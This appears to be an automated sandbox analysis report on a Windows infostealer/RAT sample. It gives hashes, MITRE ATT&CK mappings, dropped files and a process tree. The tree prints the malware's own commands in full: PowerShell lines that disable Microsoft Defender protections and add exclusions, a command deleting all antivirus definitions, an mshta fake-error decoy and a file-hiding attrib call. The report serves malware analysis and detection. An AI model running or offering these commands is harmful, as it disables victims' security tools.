a4932d288c80e37cc07ca313ebe0e5a1af3e902810ca501597834319b436ba91

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 17:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Size 5.9MB
Sample260820-vsctcagj4s
SHA256 a4932d288c80e37cc07ca313ebe0e5a1af3e902810ca501597834319b436ba91
MD5 bc31ac0c7cca48ea0202cac1044b1363
SHA1 32db9fd8d852258e27e8a56f942464de4e84f031
SHA512 fa297e924c2d6a35084dabf5b53489cd47f02cba742c68ae4d0e5a20e23194efd9bc82c4cb3d6a0e0881376e07469ee892f9beeeca9c69bcacee317d3a4ab446
SSDEEP 98304:ukOmoDUN43WGaQgOjOjFgFEblNHYSxTpirSHcUR43zrwkdA8QJCKC7bN3mb6apSb:ZOumWGaQgsOjmFwDRxtYSHdK34kdai7F
TLSH
T17756331033A111F5E5FB223C8953C129E57278156744CADF83A88BA93F27AF04E7B766
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
2840	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.exe
2404	powershell.exe
1156	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2596	powershell.exe

Loads dropped DLL 16 IoCs

pid	Process
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2512	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
788	cmd.exe

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c545-21.dat	upx
behavioral2/memory/4020-24-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/files/0x000d00000001c537-27.dat	upx
behavioral2/memory/4020-30-0x00007FFB6A5E0000-0x00007FFB6A604000-memory.dmp	upx
behavioral2/files/0x000d00000001c543-29.dat	upx
behavioral2/files/0x000d00000001c53f-48.dat	upx
behavioral2/files/0x000d00000001c53e-47.dat	upx
behavioral2/files/0x000d00000001c53d-46.dat	upx
behavioral2/files/0x000d00000001c53c-45.dat	upx
behavioral2/files/0x000d00000001c53b-44.dat	upx
behavioral2/files/0x000d00000001c53a-43.dat	upx
behavioral2/files/0x000d00000001c538-42.dat	upx
behavioral2/files/0x000d00000001c536-41.dat	upx
behavioral2/files/0x000d00000001c54a-40.dat	upx
behavioral2/files/0x000d00000001c549-39.dat	upx
behavioral2/files/0x000d00000001c548-38.dat	upx
behavioral2/files/0x000d00000001c544-35.dat	upx
behavioral2/files/0x000d00000001c542-34.dat	upx
behavioral2/memory/4020-32-0x00007FFB6B560000-0x00007FFB6B56F000-memory.dmp	upx
behavioral2/memory/4020-50-0x00007FFB6A930000-0x00007FFB6A948000-memory.dmp	upx
behavioral2/memory/4020-52-0x00007FFB6A5B0000-0x00007FFB6A5DC000-memory.dmp	upx
behavioral2/memory/4020-58-0x00007FFB6A590000-0x00007FFB6A5AF000-memory.dmp	upx
behavioral2/memory/4020-60-0x00007FFB65900000-0x00007FFB65A7A000-memory.dmp	upx
behavioral2/memory/4020-62-0x00007FFB6A570000-0x00007FFB6A589000-memory.dmp	upx
behavioral2/memory/4020-64-0x00007FFB6A560000-0x00007FFB6A56D000-memory.dmp	upx
behavioral2/memory/4020-66-0x00007FFB6A530000-0x00007FFB6A55E000-memory.dmp	upx
behavioral2/memory/4020-69-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-72-0x00007FFB6A5E0000-0x00007FFB6A604000-memory.dmp	upx
behavioral2/memory/4020-79-0x00007FFB5DDC0000-0x00007FFB5DED8000-memory.dmp	upx
behavioral2/memory/4020-80-0x00007FFB6A590000-0x00007FFB6A5AF000-memory.dmp	upx
behavioral2/memory/4020-77-0x00007FFB6A500000-0x00007FFB6A50D000-memory.dmp	upx
behavioral2/memory/4020-76-0x00007FFB6A930000-0x00007FFB6A948000-memory.dmp	upx
behavioral2/memory/4020-74-0x00007FFB6A510000-0x00007FFB6A525000-memory.dmp	upx
behavioral2/memory/4020-71-0x00007FFB5E6E0000-0x00007FFB5E798000-memory.dmp	upx
behavioral2/memory/4020-70-0x00007FFB528E0000-0x00007FFB52C59000-memory.dmp	upx
behavioral2/memory/4020-99-0x00007FFB65900000-0x00007FFB65A7A000-memory.dmp	upx
behavioral2/memory/4020-121-0x00007FFB6A570000-0x00007FFB6A589000-memory.dmp	upx
behavioral2/memory/4020-116-0x00007FFB528E0000-0x00007FFB52C59000-memory.dmp	upx
behavioral2/memory/4020-106-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-117-0x00007FFB5E6E0000-0x00007FFB5E798000-memory.dmp	upx
behavioral2/memory/4020-115-0x00007FFB6A530000-0x00007FFB6A55E000-memory.dmp	upx
behavioral2/memory/4020-107-0x00007FFB6A5E0000-0x00007FFB6A604000-memory.dmp	upx
behavioral2/memory/4020-143-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-188-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-218-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-257-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-287-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx
behavioral2/memory/4020-317-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4528	cmd.exe
4468	cmd.exe
4156	cmd.exe
2416	cmd.exe
5292	cmd.exe
4200	cmd.exe
4792	cmd.exe
2768	cmd.exe
4016	cmd.exe
2844	cmd.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1240	WMIC.exe
4872	WMIC.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2596	powershell.exe
2596	powershell.exe
1164	WMIC.exe
1164	WMIC.exe
1164	WMIC.exe
1164	WMIC.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
2596	powershell.exe
1240	WMIC.exe
1240	WMIC.exe
1240	WMIC.exe
1240	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
2404	powershell.exe
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2512	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeSecurityPrivilege	1164	WMIC.exe
Token: SeTakeOwnershipPrivilege	1164	WMIC.exe
Token: SeLoadDriverPrivilege	1164	WMIC.exe
Token: SeSystemProfilePrivilege	1164	WMIC.exe
Token: SeSystemtimePrivilege	1164	WMIC.exe
Token: SeProfSingleProcessPrivilege	1164	WMIC.exe
Token: SeIncBasePriorityPrivilege	1164	WMIC.exe
Token: SeCreatePagefilePrivilege	1164	WMIC.exe
Token: SeBackupPrivilege	1164	WMIC.exe
Token: SeRestorePrivilege	1164	WMIC.exe
Token: SeShutdownPrivilege	1164	WMIC.exe
Token: SeDebugPrivilege	1164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1164	WMIC.exe
Token: SeRemoteShutdownPrivilege	1164	WMIC.exe
Token: SeUndockPrivilege	1164	WMIC.exe
Token: SeManageVolumePrivilege	1164	WMIC.exe
Token: 33	1164	WMIC.exe
Token: 34	1164	WMIC.exe
Token: 35	1164	WMIC.exe
Token: 36	1164	WMIC.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeSecurityPrivilege	1164	WMIC.exe
Token: SeTakeOwnershipPrivilege	1164	WMIC.exe
Token: SeLoadDriverPrivilege	1164	WMIC.exe
Token: SeSystemProfilePrivilege	1164	WMIC.exe
Token: SeSystemtimePrivilege	1164	WMIC.exe
Token: SeProfSingleProcessPrivilege	1164	WMIC.exe
Token: SeIncBasePriorityPrivilege	1164	WMIC.exe
Token: SeCreatePagefilePrivilege	1164	WMIC.exe
Token: SeBackupPrivilege	1164	WMIC.exe
Token: SeRestorePrivilege	1164	WMIC.exe
Token: SeShutdownPrivilege	1164	WMIC.exe
Token: SeDebugPrivilege	1164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1164	WMIC.exe
Token: SeRemoteShutdownPrivilege	1164	WMIC.exe
Token: SeUndockPrivilege	1164	WMIC.exe
Token: SeManageVolumePrivilege	1164	WMIC.exe
Token: 33	1164	WMIC.exe
Token: 34	1164	WMIC.exe
Token: 35	1164	WMIC.exe
Token: 36	1164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1156	powershell.exe
Token: SeSecurityPrivilege	1156	powershell.exe
Token: SeTakeOwnershipPrivilege	1156	powershell.exe
Token: SeLoadDriverPrivilege	1156	powershell.exe
Token: SeSystemProfilePrivilege	1156	powershell.exe
Token: SeSystemtimePrivilege	1156	powershell.exe
Token: SeProfSingleProcessPrivilege	1156	powershell.exe
Token: SeIncBasePriorityPrivilege	1156	powershell.exe
Token: SeCreatePagefilePrivilege	1156	powershell.exe
Token: SeBackupPrivilege	1156	powershell.exe
Token: SeRestorePrivilege	1156	powershell.exe
Token: SeShutdownPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeSystemEnvironmentPrivilege	1156	powershell.exe
Token: SeRemoteShutdownPrivilege	1156	powershell.exe
Token: SeUndockPrivilege	1156	powershell.exe
Token: SeManageVolumePrivilege	1156	powershell.exe
Token: 33	1156	powershell.exe
Token: 34	1156	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 4020	4680	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	88
PID 4020 wrote to memory of 4016	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	89
PID 4020 wrote to memory of 4156	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	90
PID 4020 wrote to memory of 2768	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	91
PID 4020 wrote to memory of 4528	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	95
PID 4156 wrote to memory of 2596	4156	cmd.exe	97
PID 4020 wrote to memory of 4468	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	98
PID 4528 wrote to memory of 2512	4528	cmd.exe	100
PID 4468 wrote to memory of 1164	4468	cmd.exe	101
PID 2768 wrote to memory of 3416	2768	cmd.exe	102
PID 4016 wrote to memory of 1156	4016	cmd.exe	103
PID 4156 wrote to memory of 2840	4156	cmd.exe	106
PID 4020 wrote to memory of 2416	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	108
PID 2416 wrote to memory of 5492	2416	cmd.exe	110
PID 4020 wrote to memory of 5292	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	111
PID 5292 wrote to memory of 3536	5292	cmd.exe	113
PID 4020 wrote to memory of 4200	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	114
PID 4200 wrote to memory of 1240	4200	cmd.exe	116
PID 4020 wrote to memory of 2844	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	117
PID 2844 wrote to memory of 4872	2844	cmd.exe	119
PID 4020 wrote to memory of 788	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	120
PID 4020 wrote to memory of 4792	4020	2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	121
PID 788 wrote to memory of 1776	788	cmd.exe	124
PID 4792 wrote to memory of 2404	4792	cmd.exe	125

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1776	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2596
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The code execution cannot proceed because MSVCP140_CODE_GEN.dll was not found.', 0, 'MSVCP140_CODE_GEN.dll ', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The code execution cannot proceed because MSVCP140_CODE_GEN.dll was not found.', 0, 'MSVCP140_CODE_GEN.dll ', 0+16);close()"
      4⤵
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:5492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5292
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:3536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4200
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:1240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2844
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:788
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      4⤵
      Views/modifies file attributes
      PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
MD5 9e67f340014cbaf62f2fb8c7a539d21b
SHA1 f0ed976f190cbdf1b9b643c93b97d101cb87e3ae
SHA512 9c86e7c8cfd1971b16e7b82d6ab9c9539e115402d205efff6f2ef941bc0e09a479e31ecff8a3510c8c7ade3f65cdab7b4f1eda357438b854be29349aaccb93e6
TLSH
T1E7216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\VCRUNTIME140.dll
Size 95KB
SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
MD5 f34eb034aa4a9735218686590cba2e8b
SHA1 2bc20acdcb201676b77a66fa7ec6b53fa2644713
SHA512 d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af
SSDEEP 1536:ywqHLG4SsAzAvadZw+1Hcx8uIYNUzUoHA4decbK/zJNuw6z5U:ytrfZ+jPYNzoHA4decbK/FNu51U
TLSH
T129A36C5A76A442BBD06BD274C1E34A1AF770B8408B3093CF07B6856A4F67BE05E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_bz2.pyd
Size 47KB
SHA256 055a93c8b127dc840ac40ca70d4b0246ac88c9cde1ef99267bbe904086e0b7d3
MD5 fba120a94a072459011133da3a989db2
SHA1 6568b3e9e993c7e993a699505339bbebb5db6fb0
SHA512 221b5a2a9de1133e2866b39f493a822060d3fb85f8c844c116f64878b9b112e8085e61d450053d859a63450d1292c13bd7ec38b89fe2dfa6684ac94e090ec3aa
SSDEEP 768:4AZgCxM2GXvgErzHwiVGP2lhBHgdcmQYnTYf9WeW/pAHILCVjew5YiSyv3YJPxWb:4A/MZJHzVGPwRHYTiWeWCHILCVjd7SyL
TLSH
T1FD23D1BA4AA44C34DD3BEDB060E08419AE75F5838561C3DF320D82A75F52751BEE23B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_ctypes.pyd
Size 58KB
SHA256 644712c3475be7f02c2493d75e6a831372d01243aca61aa8a1418f57e6d0b713
MD5 31859b9a99a29127c4236968b87dbcbb
SHA1 29b4ee82aa026c10fe8a4f43b40cbd8ec7ea71e5
SHA512 fec3ab9ce032e02c432d714de0d764aab83917129a5e6eeca21526b03176da68da08024d676bc0032200b2d2652e6d442ca2f1ef710a7408bd198995883a943a
SSDEEP 1536:lAkx+GKRIxcWVGXWYOIDcPiBFCx/YzPILLPDM7SyGPxvI:ikx6uWX3xlBFCRYrILLPDMkxA
TLSH
T16143D1AB9A70A819CA678FF274D48420FA7579875F1083EB2118D3765F713426BCA37C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_decimal.pyd
Size 106KB
SHA256 f281bd8219b4b0655e9c3a5516fe0b36e44c28b0ac9170028dd052ca234c357c
MD5 7cdc590ac9b4ffa52c8223823b648e5c
SHA1 c8d9233acbff981d96c27f188fcde0e98cdcb27c
SHA512 919c36be05f5f94ec84e68ecca43c7d43acb8137a043cf429a9e995643ca69c4c101775955e36c15f844f64fc303999da0cbfe5e121eb5b3ffb7d70e3cd08e0b
SSDEEP 3072:bIUqPfSKN4sAaLojnvWxbpdNPyspILOqlJSgxDM:bllIMWxpdNP0J3M
TLSH
T181B302690A249DA8DCEA027331B036D4DE743D728551CBED339842E62FB1384AED55BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_hashlib.pyd
Size 35KB
SHA256 b16c0cc3baa67246d8f44138c6105d66538e54d0afb999f446cae58ac83ef078
MD5 659a5efa39a45c204ada71e1660a7226
SHA1 1a347593fca4f914cfc4231dc5f163ae6f6e9ce0
SHA512 386626b3bad58b450b8b97c6ba51ce87378cddf7f574326625a03c239aa83c33f4d824d3b8856715f413cfb9238d23f802f598084dbd8c73c8f6c61275fdecb5
SSDEEP 768:ZkmOGHOaDC16x5fWN9/xx5qFp6OILOIeQ5YiSyv/UPxWElHBT:LfHOcCyO/Rq6OILOIeC7SyEPxDF
TLSH
T1E5F2C0B746A45838F9628CB134D48539BE30BA574861C7CB315D82BB5F713826FA237E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_lzma.pyd
Size 85KB
SHA256 fc57bd20b6b128afa5faaac1fd0ce783031faaf39f71b58c9cacf87a16f3325f
MD5 864b22495372fa4d8b18e1c535962ae2
SHA1 8cfaee73b7690b9731303199e3ed187b1c046a85
SHA512 9f26fe88aca42c80eb39153708b2315a4154204fc423ca474860072dd68ccc00b7081e8adb87ef9a26b9f64cd2f4334f64bc2f732cd47e3f44f6cf9cc16fa187
SSDEEP 1536:wZ6by758mldpnwpd+cjwZaO4jA5e0RBcS8iGyfowoQmXsoILZ14T7SyiPxq:O7HdSpd+co4AhRiXT8aILZ14TIxq
TLSH
T17683023349E8AD39D4170931B9D5D928FE36716346A0CADB3059C2BA87373C2BBA1178
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_queue.pyd
Size 25KB
SHA256 cc275b2b053410c6391339149baf5b58df121a915d18b889f184be02bedaf9bc
MD5 bebc7743e8af7a812908fcb4cdd39168
SHA1 00e9056e76c3f9b2a9baba683eaa52ecfa367edb
